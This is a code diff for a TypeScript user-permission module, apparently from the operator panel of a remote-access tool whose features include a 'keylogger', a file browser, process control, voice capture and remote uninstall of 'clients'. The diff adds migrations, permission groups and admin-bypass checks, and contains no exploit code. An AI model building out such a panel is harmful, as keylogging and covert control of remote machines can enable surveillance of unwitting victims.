-  db.exec(
-    `ALTER TABLE users ADD COLUMN can_build INTEGER NOT NULL DEFAULT 0`,
-  );
-  logger.info("[users] Added can_build column to existing database");
-
+function addColumnIfMissing(table: string, definition: string): void {
   try {
-    db.exec(`UPDATE users SET can_build=1 WHERE role='admin' OR role='operator'`);
+    db.exec(`ALTER TABLE ${table} ADD COLUMN ${definition}`);
   } catch (err: any) {
-    logger.error("[users] Failed to backfill admin/operator can_build:", err);
-  }
-} catch (err: any) {
-  if (!err.message?.includes("duplicate column name")) {
-    logger.error("[users] Migration error:", err);
+    if (!err?.message?.includes("duplicate column name")) throw err;
   }
 }
 
-try {
-  db.exec(
-    `ALTER TABLE users ADD COLUMN telegram_chat_id TEXT DEFAULT NULL`,
-  );
-  logger.info("[users] Added telegram_chat_id column to existing database");
-} catch (err: any) {
-  if (!err.message?.includes("duplicate column name")) {
-    logger.error("[users] Migration error:", err);
-  }
-}
+type Migration = { id: string; run: () => void };
 
-const notificationColumns: Array<{ sql: string; label: string }> = [
-  { sql: `ALTER TABLE users ADD COLUMN webhook_enabled INTEGER DEFAULT 0`, label: "webhook_enabled" },
-  { sql: `ALTER TABLE users ADD COLUMN webhook_url TEXT DEFAULT NULL`, label: "webhook_url" },
-  { sql: `ALTER TABLE users ADD COLUMN webhook_template TEXT DEFAULT NULL`, label: "webhook_template" },
-  { sql: `ALTER TABLE users ADD COLUMN telegram_enabled INTEGER DEFAULT 0`, label: "telegram_enabled" },
-  { sql: `ALTER TABLE users ADD COLUMN telegram_bot_token TEXT DEFAULT NULL`, label: "telegram_bot_token" },
-  { sql: `ALTER TABLE users ADD COLUMN telegram_template TEXT DEFAULT NULL`, label: "telegram_template" },
+const userMigrations: Migration[] = [
+  {
+    id: "001_users_must_change_password",
+    run: () => addColumnIfMissing("users", `must_change_password INTEGER DEFAULT 0`),
+  },
+  {
+    id: "002_users_client_scope",
+    run: () => {
+      addColumnIfMissing(
+        "users",
+        `client_scope TEXT NOT NULL DEFAULT 'none' CHECK(client_scope IN ('none', 'allowlist', 'denylist', 'all'))`,
+      );
+      db.exec(`UPDATE users SET client_scope='all' WHERE role='admin'`);
+    },
+  },
+  {
+    id: "003_users_can_build",
+    run: () => {
+      addColumnIfMissing("users", `can_build INTEGER NOT NULL DEFAULT 0`);
+      db.exec(`UPDATE users SET can_build=1 WHERE role='admin' OR role='operator'`);
+    },
+  },
+  {
+    id: "004_users_telegram_chat_id",
+    run: () => addColumnIfMissing("users", `telegram_chat_id TEXT DEFAULT NULL`),
+  },
+  {
+    id: "005_users_notification_delivery",
+    run: () => {
+      addColumnIfMissing("users", `webhook_enabled INTEGER DEFAULT 0`);
+      addColumnIfMissing("users", `webhook_url TEXT DEFAULT NULL`);
+      addColumnIfMissing("users", `webhook_template TEXT DEFAULT NULL`);
+      addColumnIfMissing("users", `telegram_enabled INTEGER DEFAULT 0`);
+      addColumnIfMissing("users", `telegram_bot_token TEXT DEFAULT NULL`);
+      addColumnIfMissing("users", `telegram_template TEXT DEFAULT NULL`);
+    },
+  },
+  {
+    id: "006_users_can_upload_files",
+    run: () => {
+      addColumnIfMissing("users", `can_upload_files INTEGER NOT NULL DEFAULT 0`);
+      db.exec(`UPDATE users SET can_upload_files=1 WHERE role='admin'`);
+    },
+  },
+  {
+    id: "007_users_client_event_filters",
+    run: () => {
+      addColumnIfMissing("users", `client_event_webhook INTEGER DEFAULT 1`);
+      addColumnIfMissing("users", `client_event_telegram INTEGER DEFAULT 1`);
+      addColumnIfMissing("users", `client_event_push INTEGER DEFAULT 1`);
+    },
+  },
+  {
+    id: "008_users_chat_write",
+    run: () => addColumnIfMissing("users", `chat_write INTEGER DEFAULT NULL`),
+  },
+  {
+    id: "009_users_registered_via",
+    run: () => addColumnIfMissing("users", `registered_via TEXT DEFAULT NULL`),
+  },
+  {
+    id: "010_users_plugin_scope",
+    run: () => {
+      addColumnIfMissing(
+        "users",
+        `plugin_scope TEXT NOT NULL DEFAULT 'none' CHECK(plugin_scope IN ('none', 'allowlist', 'all'))`,
+      );
+      db.exec(`UPDATE users SET plugin_scope='all' WHERE role='admin'`);
+    },
+  },
+  {
+    id: "011_permission_groups",
+    run: () => {
+      db.exec(`
+        CREATE TABLE IF NOT EXISTS permission_groups (
+          id INTEGER PRIMARY KEY AUTOINCREMENT,
+          name TEXT UNIQUE NOT NULL,
+          description TEXT,
+          created_at INTEGER NOT NULL,
+          created_by INTEGER,
+          FOREIGN KEY (created_by) REFERENCES users(id) ON DELETE SET NULL
+        )
+      `);
+      db.exec(`
+        CREATE TABLE IF NOT EXISTS permission_group_permissions (
+          group_id INTEGER NOT NULL,
+          permission TEXT NOT NULL,
+          PRIMARY KEY (group_id, permission),
+          FOREIGN KEY (group_id) REFERENCES permission_groups(id) ON DELETE CASCADE
+        )
+      `);
+      db.exec(`
+        CREATE TABLE IF NOT EXISTS user_permission_groups (
+          user_id INTEGER NOT NULL,
+          group_id INTEGER NOT NULL,
+          PRIMARY KEY (user_id, group_id),
+          FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
+          FOREIGN KEY (group_id) REFERENCES permission_groups(id) ON DELETE CASCADE
+        )
+      `);
+      db.exec(
+        `CREATE INDEX IF NOT EXISTS idx_user_permission_groups_user ON user_permission_groups(user_id)`,
+      );
+      db.exec(
+        `CREATE INDEX IF NOT EXISTS idx_permission_group_permissions_group ON permission_group_permissions(group_id)`,
+      );
+    },
+  },
+  {
+    id: "012_user_extra_permissions",
+    run: () => {
+      db.exec(`
+        CREATE TABLE IF NOT EXISTS user_extra_permissions (
+          user_id INTEGER NOT NULL,
+          permission TEXT NOT NULL,
+          PRIMARY KEY (user_id, permission),
+          FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
+        )
+      `);
+      db.exec(
+        `CREATE INDEX IF NOT EXISTS idx_user_extra_permissions_user ON user_extra_permissions(user_id)`,
+      );
+    },
+  },
 ];
-for (const col of notificationColumns) {
-  try {
-    db.exec(col.sql);
-    logger.info(`[users] Added ${col.label} column to existing database`);
-  } catch (err: any) {
-    if (!err.message?.includes("duplicate column name")) {
-      logger.error("[users] Migration error:", err);
+
+function runMigrations(migrations: ReadonlyArray<Migration>): void {
+  db.exec(`CREATE TABLE IF NOT EXISTS schema_migrations (
+    id TEXT PRIMARY KEY,
+    applied_at INTEGER NOT NULL
+  )`);
+
+  const appliedRows = db
+    .prepare("SELECT id FROM schema_migrations")
+    .all() as Array<{ id: string }>;
+  const applied = new Set(appliedRows.map((r) => r.id));
+  const markApplied = db.prepare(
+    "INSERT OR IGNORE INTO schema_migrations (id, applied_at) VALUES (?, ?)",
+  );
+
+  for (const migration of migrations) {
+    if (applied.has(migration.id)) continue;
+    try {
+      migration.run();
+      markApplied.run(migration.id, Date.now());
+      logger.info(`[migration] Applied ${migration.id}`);
+    } catch (err) {
+      logger.error(`[migration] Failed: ${migration.id}`, err);
+      throw err;
     }
   }
 }
 
-try {
-  db.exec(
-    `ALTER TABLE users ADD COLUMN can_upload_files INTEGER NOT NULL DEFAULT 0`,
-  );
-  logger.info("[users] Added can_upload_files column to existing database");
-
-  try {
-    db.exec(`UPDATE users SET can_upload_files=1 WHERE role='admin'`);
-  } catch (err: any) {
-    logger.error("[users] Failed to backfill admin can_upload_files:", err);
-  }
-} catch (err: any) {
-  if (!err.message?.includes("duplicate column name")) {
-    logger.error("[users] Migration error:", err);
-  }
-}
-
-const clientEventColumns: Array<{ sql: string; label: string }> = [
-  { sql: `ALTER TABLE users ADD COLUMN client_event_webhook INTEGER DEFAULT 1`, label: "client_event_webhook" },
-  { sql: `ALTER TABLE users ADD COLUMN client_event_telegram INTEGER DEFAULT 1`, label: "client_event_telegram" },
-  { sql: `ALTER TABLE users ADD COLUMN client_event_push INTEGER DEFAULT 1`, label: "client_event_push" },
-];
-for (const col of clientEventColumns) {
-  try {
-    db.exec(col.sql);
-    logger.info(`[users] Added ${col.label} column to existing database`);
-  } catch (err: any) {
-    if (!err.message?.includes("duplicate column name")) {
-      logger.error("[users] Migration error:", err);
-    }
-  }
-}
-
-try {
-  db.exec(`ALTER TABLE users ADD COLUMN chat_write INTEGER DEFAULT NULL`);
-  logger.info("[users] Added chat_write column to existing database");
-} catch (err: any) {
-  if (!err.message?.includes("duplicate column name")) {
-    logger.error("[users] Migration error:", err);
-  }
-}
-
-try {
-  db.exec(`ALTER TABLE users ADD COLUMN registered_via TEXT DEFAULT NULL`);
-  logger.info("[users] Added registered_via column to existing database");
-} catch (err: any) {
-  if (!err.message?.includes("duplicate column name")) {
-    logger.error("[users] Migration error:", err);
-  }
-}
-
-try {
-  db.exec(
-    `ALTER TABLE users ADD COLUMN plugin_scope TEXT NOT NULL DEFAULT 'none' CHECK(plugin_scope IN ('none', 'allowlist', 'all'))`,
-  );
-  logger.info("[users] Added plugin_scope column to existing database");
-  try {
-    db.exec(`UPDATE users SET plugin_scope='all' WHERE role='admin'`);
-  } catch (err: any) {
-    logger.error("[users] Failed to backfill admin plugin_scope:", err);
-  }
-} catch (err: any) {
-  if (!err.message?.includes("duplicate column name")) {
-    logger.error("[users] Migration error:", err);
-  }
-}
+runMigrations(userMigrations);
 
 db.exec(`
   CREATE TABLE IF NOT EXISTS registration_keys (
@@ -477,26 +509,17 @@ export function removeUserClientAccessRule(
   }
 }
 
-export function canUserAccessClient(
-  userId: number,
-  role: UserRole,
-  clientId: string,
-): boolean {
-  if (role === "admin") return true;
-
-  const access = getUserAccessCacheEntry(userId);
-  const scope = access.scope;
-  if (scope === "none") return false;
-  if (scope === "all") return true;
-
-  if (scope === "allowlist") {
-    return access.allow.has(clientId);
-  }
-  if (scope === "denylist") {
-    return !access.deny.has(clientId);
-  }
-  return false;
-}
+export const canUserAccessClient = withAdminBypass(
+  (userId, _role, clientId: string): boolean => {
+    const access = getUserAccessCacheEntry(userId);
+    const scope = access.scope;
+    if (scope === "none") return false;
+    if (scope === "all") return true;
+    if (scope === "allowlist") return access.allow.has(clientId);
+    if (scope === "denylist") return !access.deny.has(clientId);
+    return false;
+  },
+);
 
 type PluginAccessCacheEntry = {
   scope: PluginAccessScope;
@@ -549,19 +572,15 @@ export function listUserPluginAccessRules(userId: number): UserPluginAccessRule[
     .all(userId) as UserPluginAccessRule[];
 }
 
-export function canUserAccessPlugin(
-  userId: number,
-  role: UserRole,
-  pluginId: string,
-): boolean {
-  if (role === "admin") return true;
-
-  const access = getPluginAccessCacheEntry(userId);
-  if (access.scope === "none") return false;
-  if (access.scope === "all") return true;
-  if (access.scope === "allowlist") return access.allowed.has(pluginId);
-  return false;
-}
+export const canUserAccessPlugin = withAdminBypass(
+  (userId, _role, pluginId: string): boolean => {
+    const access = getPluginAccessCacheEntry(userId);
+    if (access.scope === "none") return false;
+    if (access.scope === "all") return true;
+    if (access.scope === "allowlist") return access.allowed.has(pluginId);
+    return false;
+  },
+);
 
 export function setUserPluginAccessScope(
   userId: number,
@@ -652,7 +671,11 @@ export type FeatureName =
   | "file_browser"
   | "processes"
   | "keylogger"
-  | "voice";
+  | "voice"
+  | "disconnect"
+  | "reconnect"
+  | "uninstall"
+  | "client_metadata";
 
 export const ALL_FEATURES: FeatureName[] = [
   "console",
@@ -663,6 +686,10 @@ export const ALL_FEATURES: FeatureName[] = [
   "processes",
   "keylogger",
   "voice",
+  "disconnect",
+  "reconnect",
+  "uninstall",
+  "client_metadata",
 ];
 
 const featurePermCache = new Map<number, Map<string, boolean>>();
@@ -687,19 +714,14 @@ function invalidateFeaturePermCache(userId: number): void {
   featurePermCache.delete(userId);
 }
 
-export function canUserAccessFeature(
-  userId: number,
-  role: UserRole,
-  feature: FeatureName,
-): boolean {
-  if (role === "admin") return true;
-  if (role === "viewer") return false;
-
-  const perms = getFeaturePermCacheEntry(userId);
-  const entry = perms.get(feature);
-  if (entry === undefined) return true;
-  return entry;
-}
+export const canUserAccessFeature = withAdminBypass(
+  (userId, role, feature: FeatureName): boolean => {
+    if (role === "viewer") return false;
+    const perms = getFeaturePermCacheEntry(userId);
+    const entry = perms.get(feature);
+    return entry === undefined ? true : entry;
+  },
+);
 
 export function getUserFeaturePermissions(
   userId: number,
@@ -915,10 +937,21 @@ export function deleteUser(userId: number): {
   }
 
   try {
-    db.prepare("DELETE FROM users WHERE id = ?").run(userId);
+    // SQLite foreign keys aren't enforced by default, so manually purge the
+    // user's dependent rows so the caches and the DB agree.
+    db.transaction(() => {
+      db.prepare("DELETE FROM user_permission_groups WHERE user_id = ?").run(userId);
+      db.prepare("DELETE FROM user_extra_permissions WHERE user_id = ?").run(userId);
+      db.prepare("DELETE FROM user_client_access_rules WHERE user_id = ?").run(userId);
+      db.prepare("DELETE FROM user_plugin_access_rules WHERE user_id = ?").run(userId);
+      db.prepare("DELETE FROM user_feature_permissions WHERE user_id = ?").run(userId);
+      db.prepare("DELETE FROM users WHERE id = ?").run(userId);
+    })();
     invalidateUserAccessCache(userId);
     invalidatePluginAccessCache(userId);
     invalidateNotificationDeliveryCache();
+    userGroupIdsCache.delete(userId);
+    userExtraPermsCache.delete(userId);
     return { success: true };
   } catch (err: any) {
     console.error("[users] Delete user error:", err);
@@ -965,48 +998,10 @@ export async function verifyPassword(
   return user;
 }
 
-export function canManageUsers(role: UserRole): boolean {
-  return role === "admin";
-}
-
-export function canControlClients(role: UserRole): boolean {
-  return role === "admin" || role === "operator";
-}
-
-export function canBuildClients(userId: number, role: UserRole): boolean {
-  if (role === "admin") return true;
+export const canBuildClients = withAdminBypass((userId): boolean => {
   const user = getUserById(userId);
   return user ? user.can_build === 1 : false;
-}
-
-export function canViewAuditLogs(role: UserRole): boolean {
-  return role === "admin" || role === "operator";
-}
-
-export function canManageEnrollment(role: UserRole): boolean {
-  return role === "admin" || role === "operator";
-}
-
-export function hasPermission(role: UserRole, permission: string, userId?: number): boolean {
-  switch (permission) {
-    case "users:manage":
-      return canManageUsers(role);
-    case "clients:control":
-      return canControlClients(role);
-    case "clients:build":
-      if (userId !== undefined) return canBuildClients(userId, role);
-      return role === "admin" || role === "operator";
-    case "clients:enroll":
-      return canManageEnrollment(role);
-    case "audit:view":
-      return canViewAuditLogs(role);
-    case "chat:write":
-      if (userId !== undefined) return canChatWrite(userId, role);
-      return role === "admin" || role === "operator";
-    default:
-      return false;
-  }
-}
+});
 
 export function setUserCanBuild(
   userId: number,
@@ -1021,11 +1016,10 @@ export function setUserCanBuild(
   }
 }
 
-export function canUploadFiles(userId: number, role: UserRole): boolean {
-  if (role === "admin") return true;
+export const canUploadFiles = withAdminBypass((userId): boolean => {
   const user = getUserById(userId);
   return user ? user.can_upload_files === 1 : false;
-}
+});
 
 export function setUserCanUploadFiles(
   userId: number,
@@ -1040,8 +1034,7 @@ export function setUserCanUploadFiles(
   }
 }
 
-export function canChatWrite(userId: number, role: UserRole): boolean {
-  if (role === "admin") return true;
+export const canChatWrite = withAdminBypass((userId, role): boolean => {
   const user = getUserById(userId);
   if (!user) return false;
   const chatWrite = (user as any).chat_write;
@@ -1049,7 +1042,7 @@ export function canChatWrite(userId: number, role: UserRole): boolean {
     return role === "operator";
   }
   return chatWrite === 1;
-}
+});
 
 export function setUserChatWrite(
   userId: number,
@@ -1064,6 +1057,252 @@ export function setUserChatWrite(
   }
 }
 
+export interface PermissionGroup {
+  id: number;
+  name: string;
+  description: string | null;
+  created_at: number;
+  created_by: number | null;
+  permissions: string[];
+}
+
+const groupPermsCache = new Map<number, Set<string>>();
+const userGroupIdsCache = new Map<number, number[]>();
+const userExtraPermsCache = new Map<number, Set<string>>();
+
+function invalidateUserPermissionCaches(userId?: number): void {
+  if (userId === undefined) {
+    userGroupIdsCache.clear();
+    userExtraPermsCache.clear();
+    return;
+  }
+  userGroupIdsCache.delete(userId);
+  userExtraPermsCache.delete(userId);
+}
+
+function invalidateGroupPermsCache(groupId?: number): void {
+  if (groupId === undefined) {
+    groupPermsCache.clear();
+    return;
+  }
+  groupPermsCache.delete(groupId);
+}
+
+export function listPermissionGroups(): PermissionGroup[] {
+  const rows = db
+    .prepare(
+      `SELECT id, name, description, created_at, created_by FROM permission_groups ORDER BY name ASC`,
+    )
+    .all() as Array<Omit<PermissionGroup, "permissions">>;
+  return rows.map((row) => ({
+    ...row,
+    permissions: Array.from(getPermissionsForGroup(row.id)).sort(),
+  }));
+}
+
+export function getPermissionGroup(groupId: number): PermissionGroup | null {
+  const row = db
+    .prepare(
+      `SELECT id, name, description, created_at, created_by FROM permission_groups WHERE id = ?`,
+    )
+    .get(groupId) as Omit<PermissionGroup, "permissions"> | undefined;
+  if (!row) return null;
+  return {
+    ...row,
+    permissions: Array.from(getPermissionsForGroup(row.id)).sort(),
+  };
+}
+
+function getPermissionsForGroup(groupId: number): Set<string> {
+  const cached = groupPermsCache.get(groupId);
+  if (cached) return cached;
+  const rows = db
+    .prepare("SELECT permission FROM permission_group_permissions WHERE group_id = ?")
+    .all(groupId) as Array<{ permission: string }>;
+  const set = new Set(rows.map((r) => r.permission));
+  groupPermsCache.set(groupId, set);
+  return set;
+}
+
+export function createPermissionGroup(
+  name: string,
+  description: string | null,
+  permissions: string[],
+  createdBy: number | null,
+): { success: boolean; error?: string; group?: PermissionGroup } {
+  const trimmedName = (name || "").trim();
+  if (!trimmedName || trimmedName.length > 64) {
+    return { success: false, error: "Name must be 1-64 characters" };
+  }
+  const trimmedDesc = description ? String(description).slice(0, 256).trim() || null : null;
+  const perms = Array.from(new Set(permissions.filter((p) => typeof p === "string" && p.length > 0)));
+
+  try {
+    const tx = db.transaction(() => {
+      const result = db
+        .prepare(
+          "INSERT INTO permission_groups (name, description, created_at, created_by) VALUES (?, ?, ?, ?)",
+        )
+        .run(trimmedName, trimmedDesc, Date.now(), createdBy);
+      const groupId = result.lastInsertRowid as number;
+      const insertPerm = db.prepare(
+        "INSERT INTO permission_group_permissions (group_id, permission) VALUES (?, ?)",
+      );
+      for (const perm of perms) insertPerm.run(groupId, perm);
+      return groupId;
+    });
+    const groupId = tx();
+    invalidateGroupPermsCache(groupId);
+    invalidateUserPermissionCaches();
+    const group = getPermissionGroup(groupId);
+    return group ? { success: true, group } : { success: false, error: "Failed to load created group" };
+  } catch (err: any) {
+    if (err.message?.includes("UNIQUE constraint")) {
+      return { success: false, error: "A group with that name already exists" };
+    }
+    logger.error("[users] createPermissionGroup error:", err);
+    return { success: false, error: err.message || "Failed to create permission group" };
+  }
+}
+
+export function updatePermissionGroup(
+  groupId: number,
+  updates: { name?: string; description?: string | null; permissions?: string[] },
+): { success: boolean; error?: string; group?: PermissionGroup } {
+  const existing = getPermissionGroup(groupId);
+  if (!existing) return { success: false, error: "Group not found" };
+
+  try {
+    const tx = db.transaction(() => {
+      if (updates.name !== undefined) {
+        const trimmed = String(updates.name).trim();
+        if (!trimmed || trimmed.length > 64) throw new Error("Name must be 1-64 characters");
+        db.prepare("UPDATE permission_groups SET name = ? WHERE id = ?").run(trimmed, groupId);
+      }
+      if (updates.description !== undefined) {
+        const trimmed = updates.description ? String(updates.description).slice(0, 256).trim() || null : null;
+        db.prepare("UPDATE permission_groups SET description = ? WHERE id = ?").run(trimmed, groupId);
+      }
+      if (updates.permissions !== undefined) {
+        db.prepare("DELETE FROM permission_group_permissions WHERE group_id = ?").run(groupId);
+        const insertPerm = db.prepare(
+          "INSERT INTO permission_group_permissions (group_id, permission) VALUES (?, ?)",
+        );
+        const perms = Array.from(new Set(updates.permissions.filter((p) => typeof p === "string" && p.length > 0)));
+        for (const perm of perms) insertPerm.run(groupId, perm);
+      }
+    });
+    tx();
+    invalidateGroupPermsCache(groupId);
+    invalidateUserPermissionCaches();
+    const group = getPermissionGroup(groupId);
+    return group ? { success: true, group } : { success: false, error: "Failed to load updated group" };
+  } catch (err: any) {
+    if (err.message?.includes("UNIQUE constraint")) {
+      return { success: false, error: "A group with that name already exists" };
+    }
+    logger.error("[users] updatePermissionGroup error:", err);
+    return { success: false, error: err.message || "Failed to update permission group" };
+  }
+}
+
+export function deletePermissionGroup(groupId: number): { success: boolean; error?: string } {
+  try {
+    // SQLite foreign keys aren't enforced unless PRAGMA foreign_keys=ON, so
+    // clean up dependent rows explicitly to avoid orphans.
+    const result = db.transaction(() => {
+      db.prepare("DELETE FROM permission_group_permissions WHERE group_id = ?").run(groupId);
+      db.prepare("DELETE FROM user_permission_groups WHERE group_id = ?").run(groupId);
+      return db.prepare("DELETE FROM permission_groups WHERE id = ?").run(groupId);
+    })();
+    invalidateGroupPermsCache(groupId);
+    invalidateUserPermissionCaches();
+    if (result.changes === 0) return { success: false, error: "Group not found" };
+    return { success: true };
+  } catch (err: any) {
+    logger.error("[users] deletePermissionGroup error:", err);
+    return { success: false, error: err.message || "Failed to delete permission group" };
+  }
+}
+
+export function getUserGroupIds(userId: number): number[] {
+  const cached = userGroupIdsCache.get(userId);
+  if (cached) return cached;
+  const rows = db
+    .prepare("SELECT group_id FROM user_permission_groups WHERE user_id = ?")
+    .all(userId) as Array<{ group_id: number }>;
+  const ids = rows.map((r) => r.group_id);
+  userGroupIdsCache.set(userId, ids);
+  return ids;
+}
+
+export function setUserGroups(
+  userId: number,
+  groupIds: number[],
+): { success: boolean; error?: string } {
+  try {
+    const tx = db.transaction(() => {
+      db.prepare("DELETE FROM user_permission_groups WHERE user_id = ?").run(userId);
+      const insert = db.prepare(
+        "INSERT OR IGNORE INTO user_permission_groups (user_id, group_id) VALUES (?, ?)",
+      );
+      const unique = Array.from(new Set(groupIds.filter((id) => Number.isFinite(id))));
+      for (const gid of unique) insert.run(userId, gid);
+    });
+    tx();
+    invalidateUserPermissionCaches(userId);
+    return { success: true };
+  } catch (err: any) {
+    logger.error("[users] setUserGroups error:", err);
+    return { success: false, error: err.message || "Failed to update user groups" };
+  }
+}
+
+export function getUserExtraPermissions(userId: number): Set<string> {
+  const cached = userExtraPermsCache.get(userId);
+  if (cached) return cached;
+  const rows = db
+    .prepare("SELECT permission FROM user_extra_permissions WHERE user_id = ?")
+    .all(userId) as Array<{ permission: string }>;
+  const set = new Set(rows.map((r) => r.permission));
+  userExtraPermsCache.set(userId, set);
+  return set;
+}
+
+export function setUserExtraPermissions(
+  userId: number,
+  permissions: string[],
+): { success: boolean; error?: string } {
+  try {
+    const tx = db.transaction(() => {
+      db.prepare("DELETE FROM user_extra_permissions WHERE user_id = ?").run(userId);
+      const insert = db.prepare(
+        "INSERT OR IGNORE INTO user_extra_permissions (user_id, permission) VALUES (?, ?)",
+      );
+      const unique = Array.from(new Set(permissions.filter((p) => typeof p === "string" && p.length > 0)));
+      for (const perm of unique) insert.run(userId, perm);
+    });
+    tx();
+    invalidateUserPermissionCaches(userId);
+    return { success: true };
+  } catch (err: any) {
+    logger.error("[users] setUserExtraPermissions error:", err);
+    return { success: false, error: err.message || "Failed to update extra permissions" };
+  }
+}
+
+// Collects every permission string a user has via assigned groups + direct
+// extras. Returns a Set for cheap membership tests; getUserPermissions in
+// rbac.ts unions this with role-level permissions.
+export function getUserGrantedPermissions(userId: number): Set<string> {
+  const result = new Set<string>();
+  for (const groupId of getUserGroupIds(userId)) {
+    for (const perm of getPermissionsForGroup(groupId)) result.add(perm);
+  }
+  for (const perm of getUserExtraPermissions(userId)) result.add(perm);
+  return result;
+}
+
 export function setUserTelegramChatId(
   userId: number,
   chatId: string | null,
@@ -1432,6 +1671,7 @@ export async function approvePendingRegistration(
       `UPDATE pending_registrations SET status = 'approved', reviewed_by = ?, reviewed_at = ? WHERE id = ?`,
     ).run(reviewedBy, Date.now(), pendingId);
 
+    applyRegistrationDefaultGroups(result.lastInsertRowid as number);
     invalidateNotificationDeliveryCache();
     return { success: true, userId: result.lastInsertRowid as number };
   } catch (err: any) {
@@ -1489,6 +1729,7 @@ export async function registerUser(
       "allowlist", role === "operator" ? 1 : 0, 0, registeredVia,
     );
 
+    applyRegistrationDefaultGroups(result.lastInsertRowid as number);
     invalidateNotificationDeliveryCache();
     return { success: true, userId: result.lastInsertRowid as number };
   } catch (err: any) {
@@ -1500,6 +1741,23 @@ export async function registerUser(
   }
 }
 
+function applyRegistrationDefaultGroups(userId: number): void {
+  let defaults: number[] = [];
+  try {
+    defaults = getConfig().registration.defaultGroupIds || [];
+  } catch {
+    return;
+  }
+  if (defaults.length === 0) return;
+  const validIds: number[] = [];
+  const check = db.prepare("SELECT 1 AS ok FROM permission_groups WHERE id = ?");
+  for (const id of defaults) {
+    if ((check.get(id) as { ok?: number } | undefined)?.ok) validIds.push(id);
+  }
+  if (validIds.length === 0) return;
+  setUserGroups(userId, validIds);
+}
+
 export function getTotalUserCount(): number {
   const row = db.prepare("SELECT COUNT(*) as count FROM users").get() as { count: number };
   return row.count;